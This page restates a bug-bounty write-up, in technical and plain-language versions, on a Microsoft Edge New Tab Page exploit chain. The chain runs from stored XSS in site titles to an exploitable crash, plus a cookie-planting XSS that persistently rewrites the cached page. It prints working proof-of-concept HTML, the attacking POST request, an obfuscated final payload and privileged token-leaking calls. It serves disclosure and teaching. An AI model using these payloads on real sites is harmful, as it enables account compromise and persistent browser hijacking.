Skip to content
XSS Write-up Intermediate

Microsoft Edge (Chromium) - EoP via XSS to Potential RCE

The new Microsoft Edge's New Tab Page (NTP) is an online page that failed to sanitise website titles, allowing stored XSS. An attacker could execute JavaScript in a privileged context, potentially leading to elevation of privilege and remote code execution.

Abdulrahman Alqabandi Follow

Published on leucosite.com

Bounty$40,000 View original

Microsoft has announced that they will be releasing a Chromium based Edge browser. Chromium (in case you did not know) is an open source browser Google developed, Google Chrome is based on Chromium and soon Microsoft Edge will be based on Chromium as well.

Abdulrahman Alqabandi (@Qab), on leucosite.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

Context

Microsoft announced that it would release a Chromium based Edge browser. Chromium is the open source browser Google developed, Google Chrome is based on Chromium, and soon Microsoft Edge would be based on Chromium as well. On 20 August 2019 Microsoft announced a new bug bounty program for this Chromium based Edge browser. The rules of the program state that only Microsoft owned code is eligible, which makes the attack surface very small, but Microsoft offered twice the reward relative to EdgeHTML bounties, so a single eligible bug could be worth up to $30,000. The author earned $40,000 by finding three distinct bugs in the new browser, and reports that this was the first valid bug in the program.

The feature at the centre of the first bug is the New Tab Page (NTP), the first page you see when you open a browser or open a new tab, with default settings. What is unique about the NTP in the new Edge is that it is an online website located at:

Text
'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing'

Firefox has an internal 'about:home'/'about:newtab' page, and Google Chrome has an offline 'chrome-search://local-ntp/local-ntp.html'. That difference matters because the bounty is aimed at new things Microsoft is doing with Chromium.

Setup

The author started by looking at features that are truly unique in Edge relative to Chromium, one of which is called Collections, although at the time it was out of scope and only enabled through flags. Collections behave like a more robust, feature-filled bookmark: once you add a website into Collections it takes the title, description and an image and displays it in the style of a Twitter card. Burp Suite was used to test the broken NTP page, and ParamMiner to find the cookie parameter. The final report was submitted through the MSRC reporting portal, as per the new Edge bounty rules.

Finding it

The first bug was found completely by mistake. One of the Collections tests was to see whether a saved webpage whose title contains HTML tags would have that HTML rendered in the Collections side bar. The answer was no, so the author went to bed. The next morning, opening the new Edge browser for another round, the NTP showed the following:

From the original on leucosite.com

A small, bold letter 'a' was visible. Because it is a new browser, almost any website visited becomes a 'top site' and is included in the NTP top sites section without sanitising the title. Nothing stopped Javascript from executing, so a simple XSS vector worked:

From the original on leucosite.com

The significance is that the NTP is a higher privileged page. The way to test this on Chromium based browsers is by looking inside the 'chrome' Javascript object. The image below compares the 'chrome' object from a normal website with the one from the Edge settings page:

From the original on leucosite.com

'edge://settings/profiles' contains more functions in this object, and these extra functions are the high privileged functions worth abusing when they can be reached from normal, non-privileged web content. Injecting Javascript into a higher privileged context from normal web content is Elevation of Privilege (EoP).

Exploitation

Step 1: XSS in the NTP top sites

Any visited site becomes a top site, and its title is placed into the NTP top sites section without sanitisation. A title containing a Javascript vector executes in the NTP context, which is a privileged page. This gives EoP from ordinary web content.

Step 2: Looking for privileged objects

The author searched the 'chrome' object for new objects or functions to abuse. An undocumented object was found at 'chrome.qbox', with no website discussing it in any detail, so it was concluded to be a unique Microsoft object:

From the original on leucosite.com

Inside it, 'chrome.qbox.navigate' expects, according to its error messages, an object of type 'qbox.NavigationItem'. After some back and forth, the author found that a JSON object containing at least a 'url' and an 'id' is accepted without throwing errors:

JavaScript
chrome.qbox.navigate({id:0,url:""})

That call did nothing visible: no popup, no new window. Playing with the values of 'id' and 'url' led to:

JavaScript
chrome.qbox.navigate({id:999999,url:null})

Executing it made the Chromium Edge browser disappear. The crashdump folder contained:

Text
(69a4.723c): Access violation - code c0000005 (first/second chance not available)
ntdll!NtDelayExecution+0x14:
00007ffd`9fddc754 c3              ret

The author first thought it was probably a near NULL, which would most likely be unexploitable, but the register and faulting instruction detail pointed the other way:

Text
rax=000001ff5651ba80 rbx=000001ff5651ba80 rcx=000001ff5651ba80
rdx=3265727574786574 rsi=000001ff5651ba80 rdi=0000009eb9bfd4f0
rip=00007ffd17814b40 rsp=0000009eb9bfd300 rbp=000001ff4fec30a0
 r8=000000000000008f  r9=0000000000000040 r10=0000000000000080
r11=0000009eb9bfd290 r12=000000000000006f r13=0000009eb9bfda90
r14=0000009eb9bfd478 r15=00000094b5d14064
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
msedge!ChromeMain+0x9253e:
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx] ds:32657275`74786574=????????????????
Resetting default scope

FAULTING_IP:
msedge!ChromeMain+9253e
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffd17814b40 (msedge!ChromeMain+0x000000000009253e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  msedge.exe

This looked like an exploitable crash. Not being a memory bug person, the author re-read the MDN document on exploitable crashes, then played with the vulnerable privileged 'qbox.navigate' function and produced different crash signatures, which indicated an exploitable crash (RCE) reachable from web. The semi-final PoC, which only crashes the browser with an exploitable crash, was:

HTML
<html>
<head>
<title>test<iframe/src=1/ onload=chrome.qbox.navigate(JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")))></title>
<body>
q
</body>
</html>

Microsoft confirmed this, and the XSS and the crash were separated into two bugs, paying $15,000 for one and $10,000 for the other.

Step 3: Treating the NTP host as a web application target

The previous bugs relied on XSSing the 'ntp.msn.com' website to work from web content, so the author treated 'ntp.msn.com' as a target for web application pentesting: all that was needed was an XSS, and a browser bug would follow because the page is privileged. Visiting:

Text
'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'

shows something like a normal NTP that does not load properly. That is important: the normal NTP page 'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing' almost always loads through some cache mechanism, and even its source code differs from the broken one. Running Burp Suite against the broken page, the author found that a cookie named 'domainId' (found with ParamMiner) is reflected inside a script tag in the broken NTP page, and not in the normal NTP page. There is no sanitisation as far as quotes go, so code can be injected through this cookie variable.

Cookies can be set so that they are visible in all subdomains of a given host. So an XSS in any MSN subdomain is enough to set the cookie and then get JS execution in the broken NTP page. Reconnaissance found such an XSS within 'http://technology.za.msn.com', an old forgotten subdomain with very old technologies, now removed. A specially crafted POST request results in an error message that reflects the variable value that caused the error without sanitisation. The XSS is triggered using the following HTTP request:

HTTP
POST /pebble.asp?relid=172 HTTP/1.1
Host: technology.za.msn.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://technology.za.msn.com
Connection: close
Referer: http://technology.za.msn.com/pebble.asp?relid=172
Cookie: PublisherUserProfile=userprofileid=322220CC%2D9964%2D47F9%2DAE30%2D2222258E99A4; PublisherSession=uid=DIN2DWDWDFWWW7L3OHA5N6; ASPSESSIONIDSCCQSRDS=EOJQQDDFGGGEEPCPNFOBL; _ga=GA1.q.21062224016.4569609491; _gid=GA1.q.1840897607.1569609491; _gat=1; __utma=2qq77qq6.21qqqq4016.156qqqq9491.156960qqq.qqqqqq91.1; __utmb=201977236.1.10.1569609491; __utmc=201977236; __utmz=201977236.1569609491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __gads=ID=qqqq5dd817qqqb4:T=1562229492:S=[redacted]
Upgrade-Insecure-Requests: 1

startnum=90'<b>xss</b>

The only downside is that the server takes around 42 seconds to respond when an error occurs. After the response, '<b>xss</b>' is reflected and rendered; replacing it with a common XSS vector results in Javascript execution. There is no 'X-FRAME-OPTIONS' header, so the page can be embedded in an 'IFRAME' on the attacker's own website and the POST request can be performed on a hidden 'IFRAME', leaving a potential victim oblivious.

Step 4: From the broken NTP to the normal NTP

This XSSes the broken NTP website, not the default/normal NTP, because that one is cached. The normal NTP is cached using an entry in 'localStorage'. Both the broken and normal NTP pages are same origin, so the localStorage entry can be accessed and the final Javascript code added into the cached HTML, taking over the NTP page.

Step 5: What a taken-over NTP can do

The crash had already been fixed by this point, but the NTP page is privileged, so interesting functions are reachable. The author lists:

  1. Ask the Edge user to log in using their Microsoft account, the NTP being the perfect place as the user trusts it.
  2. Access 'chrome.authPrivate.acquireAccessTokenSilently', which can potentially leak access tokens of the user and perform actions as them.
  3. Leak private user information using 'chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})', revealing email address and account number.
  4. Trick the user into accessing local files using 'chrome.embeddedSearch.searchBox.paste("file:///C://")' (requires tricking the user into pressing enter).
  5. Edit the top sites in the NTP using 'chrome.embeddedSearch.newTabPage.updateCustomLink(i,"http://www.g.com","http://www.g.com")' (where i=0 to 9999 loop) to ensure all are edited.
  6. Change all and any NTP preferences the user may have set using 'chrome.ntpSettingsPrivate.setPref'.
  7. Persistent tracking and faking of MSN content: a persistent takeover of the NTP could track user activity (by checking when they open the NTP or going through the saved top sites) and inject fake ads as many malicious WebExtensions do.

The author notes some of these are a bit of a stretch.

Step 6: The full attack chain

  1. The potential victim visits the malicious website.
  2. The malicious website sends the XSS payload using a POST request to 'technology.za.msn.com' within a hidden 'IFRAME'.
  3. The 'IFRAME' loads after about 42 seconds and the XSS payload is triggered in 'technology.za.msn.com'.
  4. The XSS in 'technology.za.msn.com' creates a cookie with the 'domain=.msn.com' directive, named 'domainId', containing the second payload.
  5. The victim is redirected to the broken NTP page 'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz' when the 'onload' of the hidden 'IFRAME' fires.
  6. Once that page is loaded, the XSS payload within the 'domainId' cookie is reflected and rendered.
  7. The cookie XSS payload looks into the 'localStorage' and inserts the final payload at the start of the cached HTML code.

At that point the NTP has been taken over, and when the user opens a new tab the final payload is triggered consistently. Microsoft paid $15,000 for this one.

Step 7: Final PoC

A lot of encoding is used because of character limitations as far as the 'domainId' cookie goes.

HTML
<html>
<head>

<body>
<iframe src="about:blank" id="qframe" name="msn" style="opacity:0.001"></iframe>
<h1>Loading...(ETA 42secs)</h2>
<form id="qform" target="msn" action="http://technology.za.msn.com/pebble.asp?relid=172" method="post">
<!--
Encoded payload (Executes in 'technology.za.msn.com')
---------------------------------------------------------------------
(qd = new Date()).setMonth(qd.getMonth() + 12);
document.cookie = "domainId=" +
				  ('q"*'
				  + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71')
				  + '*"q')
				  + ";expires="
				  + qd
				  + ";domain=.msn.com;path=/";
---------------------------------------------------------------------
unescaped value above (Executes in broken 'ntp.msn.com'), this is all one line and im using with(){} a lot because semicolon not allowed.
---------------------------------------------------------------------
function() {
		for (q in localStorage) {
        if (q.indexOf('lastKnown') > -1) {
            with(qntpobj = JSON.parse(localStorage[q])) {
                qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom
            }
            with(qab = qntpobj) {
                localStorage[q] = JSON.stringify(qab)
            }
        }
    }

}()
---------------------------------------------------------------------
unescaped value above (Executes in normal 'ntp.msn.com')
---------------------------------------------------------------------
<SvG/OnLoAd='document.write(/@qab/.source)'>
-->
  <input  type="hidden" name="startnum" value="90'<SvG/onLoAd=eval(unescape('%28%71%64%3d%20%6e%65%77%20%44%61%74%65%28%29%29%2e%73%65%74%4d%6f%6e%74%68%28%71%64%2e%67%65%74%4d%6f%6e%74%68%28%29%20%2b%20%31%32%29%3b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3d%22%64%6f%6d%61%69%6e%49%64%3d%22%2b%28%75%6e%65%73%63%61%70%65%28%27%25%37%31%25%32%32%25%32%61%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%37%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%31%25%32%30%25%36%39%25%36%65%25%32%30%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%32%39%25%37%62%25%36%39%25%36%36%25%32%38%25%37%31%25%32%65%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%34%66%25%36%36%25%32%38%25%32%37%25%36%63%25%36%31%25%37%33%25%37%34%25%34%62%25%36%65%25%36%66%25%37%37%25%36%65%25%32%37%25%32%39%25%33%65%25%32%64%25%33%31%25%32%39%25%37%62%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%32%39%25%32%39%25%37%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%33%64%25%37%35%25%36%65%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%36%33%25%32%35%25%33%35%25%33%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%34%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%34%25%33%31%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%33%30%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%36%25%32%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%36%35%25%32%37%25%32%39%25%32%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%37%64%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%31%25%36%32%25%33%64%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%39%25%37%62%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%36%39%25%36%36%25%37%39%25%32%38%25%37%31%25%36%31%25%36%32%25%32%39%25%37%64%25%37%64%25%37%64%25%37%64%25%32%38%25%32%39%25%32%61%25%32%32%25%37%31%27%29%29%2b%22%3b%65%78

The hidden startnum input carries the encoded payload that fires in technology.za.msn.com; that payload builds the domainId cookie with domain=.msn.com and an expiry twelve months out, containing the second, encoded payload. The second payload runs in the broken NTP page, walks localStorage for the lastKnown entry, prepends an SVG onload that writes the source of /@qab/ into the cached dom, and writes the modified object back. The final payload then executes in the normal NTP page. The qframe.onload handler redirects the victim to the broken NTP page one second after the hidden frame loads, and qform.submit() starts the POST.

This is the full attack, so feel free to skip the 42 seconds in the middle:

From the original on leucosite.com

References

Text
https://twitter.com/spoofyroot/status/1171654526648094720

Root cause

The chain rests on three separate mistakes. First, the NTP top sites section takes the title of any visited site and inserts it into the page without sanitising it, so a page title containing HTML and Javascript runs in the privileged NTP context. Second, the broken NTP page reflects the domainId cookie inside a script tag without sanitising quotes, and because cookies can be scoped to a parent domain, any XSS on any MSN subdomain can plant that cookie; the old technology.za.msn.com reflected the startnum value in an error message without sanitisation and sent no X-FRAME-OPTIONS header, so the request could be driven from a hidden frame. Third, the privileged chrome.qbox.navigate function accepted an object with id:999999 and url:null and crashed with an access violation. The normal NTP being cached in localStorage did not help, since the broken and normal pages share an origin and the cached HTML could be edited.

Impact

From ordinary web content an attacker could reach a privileged page, and through chrome.qbox.navigate produce an exploitable crash, which the author describes as potential RCE. With the NTP takeover, an attacker could phish for Microsoft account login on a trusted page, potentially leak access tokens through chrome.authPrivate.acquireAccessTokenSilently, read the primary account email address and account number, trick the user into pasting a local file path, rewrite top sites and NTP preferences, and persistently track activity or inject fake ads. The author hedges that some of these are a stretch. The takeover is persistent: the payload fires every time the user opens a new tab. The XSS and crash were paid $15,000 and $10,000 respectively, and the NTP takeover $15,000, for $40,000 in total.

Fix

The report does not describe the fixes Microsoft applied. The crash was fixed by the time the NTP takeover was reported, and technology.za.msn.com has since been removed. What should change, based on the chain: sanitise or text-encode site titles before rendering them in the NTP top sites, encode the domainId cookie value where it is reflected into the script tag, sanitise error message reflections such as startnum, send X-FRAME-OPTIONS on that host, and validate the qbox.NavigationItem object inside chrome.qbox.navigate rather than dereferencing attacker-controlled values.

Variants to test

  1. On any browser with a server-hosted new tab page, set a page title containing HTML and Javascript, then open a new tab. A positive result is the markup rendering, or script executing, in the NTP.
  2. Enumerate the chrome object on privileged pages such as edge://settings/profiles and compare it with the object on a normal website. A positive result is extra functions reachable from web content.
  3. Fuzz undocumented privileged functions such as chrome.qbox.navigate with boundary values (id:999999, url:null) and watch for crashes. A positive result is a crash dump with an access violation and a non-null-looking fault address.
  4. Request the broken NTP variant with unusual query parameters and compare its source with the cached normal page. A positive result is a parameter or cookie reflected inside a script tag without quote encoding.
  5. Use ParamMiner against the broken page to find reflected cookie names such as domainId. A positive result is a cookie value appearing in the response body.
  6. Hunt for XSS on any subdomain of the parent domain used by the privileged page, then set a cookie with domain=.parent. A positive result is the cookie being reflected and executed on the privileged page.
  7. Send malformed POST bodies to old ASP endpoints and inspect error pages. A positive result is the submitted value reflected and rendered without encoding, with no X-FRAME-OPTIONS header.
  8. Inspect localStorage entries used to cache privileged pages and check whether a same-origin page can modify them. A positive result is attacker markup persisted into the cached HTML and executed on the next load.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 30 min read.

What happened, in plain words

Microsoft decided to rebuild its Edge browser on top of Chromium, the open source browser engine that Google develops and that Google Chrome is built on. On 20 August 2019 Microsoft announced a bug bounty program for this new Edge: a scheme where the company pays people who find and report security problems in its software. The rules said only code that Microsoft itself owns counts, which makes the area you are allowed to attack very small, but Microsoft offered twice the usual reward compared with the old EdgeHTML engine, so a single qualifying bug could be worth up to $30,000.

The researcher in this story earned $40,000 by finding three separate bugs in the new browser, and reports that this was the first valid bug submitted to the program. This article walks through all three, in the order they were found, and explains every concept from scratch along the way.

Background: what a new tab page is, and why Edge's is unusual

The New Tab Page (NTP) is the page a browser shows when you open it or open a new tab, assuming default settings. In Firefox it is an internal page, 'about:home' or 'about:newtab'. In Google Chrome it is an offline page, 'chrome-search://local-ntp/local-ntp.html'. In the new Edge, by contrast, the NTP is an ordinary website on the internet, located at:

Text
'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing'

That difference matters a lot. The bounty only pays for things Microsoft is doing that are new compared with plain Chromium, and hosting the NTP as a real website is exactly such a thing. It also means the NTP is a web page that can, in principle, be attacked like any other web page.

Setting up: where the researcher looked first

The researcher began with features that are genuinely unique to Edge rather than inherited from Chromium. One of them is called Collections. At the time Collections was out of scope for the bounty and could only be switched on through flags, but the researcher still wanted to poke at it, to be ready for when it came into scope.

Collections work like a beefed-up bookmark. When you add a website to a collection, the browser takes the site's title, description and an image and displays them in the style of a Twitter card, a small preview box with a heading, some text and a picture.

For the NTP host testing the researcher used Burp Suite, a program that sits between your browser and a website so you can inspect and modify requests and responses, and ParamMiner, an extension for Burp that guesses hidden parameter names by watching how a server's responses change. The final report went in through the MSRC reporting portal, Microsoft's website for submitting security reports, as the new Edge bounty rules require.

Finding the first bug by accident

One of the Collections tests was simple: save a web page whose title contains HTML tags, then see whether the Collections side bar renders that HTML or shows it as plain text. HTML is the language web pages are written in, and tags like <b> or <img> are instructions to the browser to make things bold or show pictures. If a site can slip tags into a page that another site displays, it can often make the browser do things the page author never intended. In this case the answer was no: the HTML was not rendered. The researcher went to bed.

The next morning, opening the new Edge for another round, the NTP looked like this:

From the original on leucosite.com

A small, bold letter 'a' was visible on the page. What had happened: because this was a brand new browser, almost any website the researcher visited became a 'top site', one of the shortcuts the NTP shows for frequently or recently visited pages. The title of each such site was placed into the NTP top sites section without sanitising it. Sanitising means cleaning input so that any HTML or Javascript in it is treated as harmless text rather than as instructions the browser will follow. Because nothing stopped Javascript from running, a simple XSS vector worked. XSS, or cross-site scripting, is the class of bug where an attacker gets their own code to run inside a page they do not control, in the security context of that page.

From the original on leucosite.com

Why does this matter? Because the NTP is not an ordinary page: it is a higher privileged page, meaning it is allowed to use browser features that ordinary websites are not. The way to check this on Chromium based browsers is to look inside the 'chrome' Javascript object, a built-in bundle of functions the browser exposes to a page. The image below compares the 'chrome' object as seen from a normal website with the one seen from the Edge settings page:

From the original on leucosite.com

'edge://settings/profiles' has more functions in that object, and those extra functions are the high privileged ones worth abusing if you can reach them from ordinary, non-privileged web content. Getting your Javascript to run in a more powerful context than the one you started in is called Elevation of Privilege, or EoP: you started as a normal website and ended up with the browser's own powers.

From elevation of privilege towards remote code execution

Step 1: the XSS in the top sites

To restate the mechanism: any visited site becomes a top site, and its title is inserted into the NTP top sites section without sanitisation. A title containing a Javascript vector therefore executes inside the NTP, which is a privileged page. That is the EoP, achieved from ordinary web content.

Step 2: hunting for privileged functions

The researcher then searched the 'chrome' object for new objects or functions to abuse. An undocumented object turned up at 'chrome.qbox'. No website discussed it in any detail, so the conclusion was that it must be something unique to Microsoft:

From the original on leucosite.com

Inside it, 'chrome.qbox.navigate' expects, judging by the error messages it produces, an object of type 'qbox.NavigationItem'. An object here means a bundle of named values, like a form with fields. After some back and forth, the researcher found that a JSON object containing at least a 'url' and an 'id' is accepted without throwing errors. JSON is a plain text way of writing such bundles of named values.

JavaScript
chrome.qbox.navigate({id:0,url:""})

Line by line: chrome.qbox.navigate is the function being called. Inside the parentheses is the argument, a bundle with two fields: id set to 0 and url set to an empty string. This call did nothing visible: no popup, no new window. So the researcher played with the values of 'id' and 'url' and arrived at:

JavaScript
chrome.qbox.navigate({id:999999,url:null})

Here id is a very large number, 999999, and url is null, which in Javascript means 'deliberately nothing'. Executing this made the Chromium Edge browser disappear. The crashdump folder, where Windows writes a record of a program that died, contained:

Text
(69a4.723c): Access violation - code c0000005 (first/second chance not available)
ntdll!NtDelayExecution+0x14:
00007ffd`9fddc754 c3              ret

This is a debugger's summary. Access violation - code c0000005 means the program tried to read or write memory it is not allowed to touch. The first line names the process and thread identifiers in brackets. The next lines show where the processor was: inside a Windows system library function, at an instruction that simply returns.

The researcher's first thought was that this was probably a near NULL, meaning the program tried to use a memory address close to zero. Such crashes are usually not exploitable, that is, an attacker cannot turn them into running their own code, though there are exceptions. The register and faulting instruction detail pointed the other way:

Text
rax=000001ff5651ba80 rbx=000001ff5651ba80 rcx=000001ff5651ba80
rdx=3265727574786574 rsi=000001ff5651ba80 rdi=0000009eb9bfd4f0
rip=00007ffd17814b40 rsp=0000009eb9bfd300 rbp=000001ff4fec30a0
 r8=000000000000008f  r9=0000000000000040 r10=0000000000000080
r11=0000009eb9bfd290 r12=000000000000006f r13=0000009eb9bfda90
r14=0000009eb9bfd478 r15=00000094b5d14064
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
msedge!ChromeMain+0x9253e:
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx] ds:32657275`74786574=????????????????
Resetting default scope

FAULTING_IP:
msedge!ChromeMain+9253e
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffd17814b40 (msedge!ChromeMain+0x000000000009253e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  msedge.exe

Registers are the small, very fast storage slots inside a processor; each line here shows one register's name and its value at the moment of the crash. rip is the instruction pointer, the address of the instruction being executed. The line msedge!ChromeMain+0x9253e says that instruction lives inside the Edge program itself, at an offset from a function called ChromeMain. The instruction mov rax,qword ptr [rdx] means 'read eight bytes from the memory address held in register rdx and put them in rax'. The annotation ds:3265727574786574=????????????????shows the address it tried to read, and the????????????????means the debugger could not read anything there. TheEXCEPTION_RECORDblock repeats the essentials: the exception codec0000005again, andAttempt to read from address ffffffffffffffff, an address that is not near zero at all. DEFAULT_BUCKET_ID: INVALID_POINTER_READis the debugger's label for this kind of fault, andPROCESS_NAME: msedge.exe` names the crashed program.

This looked like an exploitable crash. Not being a memory bug person, the researcher went back and re-read the MDN document on exploitable crashes, a guide to telling harmless crashes from dangerous ones. Then, by playing with the vulnerable privileged 'qbox.navigate' function, the researcher produced different crash signatures, meaning the details of the crash changed with different inputs, which indicated an exploitable crash, potentially remote code execution (RCE), reachable from the web. RCE means an attacker can make the victim's computer run code of the attacker's choosing. The semi-final proof of concept, a small demonstration that only crashes the browser with an exploitable crash, was:

HTML
<html>
<head>
<title>test<iframe/src=1/ onload=chrome.qbox.navigate(JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")))></title>
<body>
q
</body>
</html>

Line by line: <html>, <head>, <title>, <body> are the usual skeleton of a web page. The interesting part is inside the title. <iframe/src=1/ onload=...> creates an inline frame, a page-within-a-page, with its source set to 1 and an onload handler, code that runs when the frame finishes loading. That handler calls chrome.qbox.navigate with JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")). unescape turns the percent-encoded string back into plain text, which is {"id":999999,"url":null}, and JSON.parse turns that text into the object the function expects. So the whole page is a title that, once it lands in the NTP top sites, calls the dangerous function with the crashing values. The q in the body is filler.

Microsoft confirmed this, and the XSS and the crash were split into two separate bugs, paying $15,000 for one and $10,000 for the other.

Step 3: treating the NTP host as a web application to attack

The previous bugs relied on getting an XSS into the 'ntp.msn.com' website in order to work from ordinary web content. So the researcher decided to treat 'ntp.msn.com' as a target for ordinary web application pentesting, the practice of probing a website for flaws. All that was needed was an XSS, and a browser bug would follow automatically, because the page is privileged.

Visiting:

Text
'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'

shows something like a normal NTP that does not load properly. That is important. The normal NTP page 'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing' almost always loads through some cache mechanism, a way of storing a copy so it loads faster, and even its source code differs from the broken one. The broken variant is therefore the easier target, since the normal page is served from a cache.

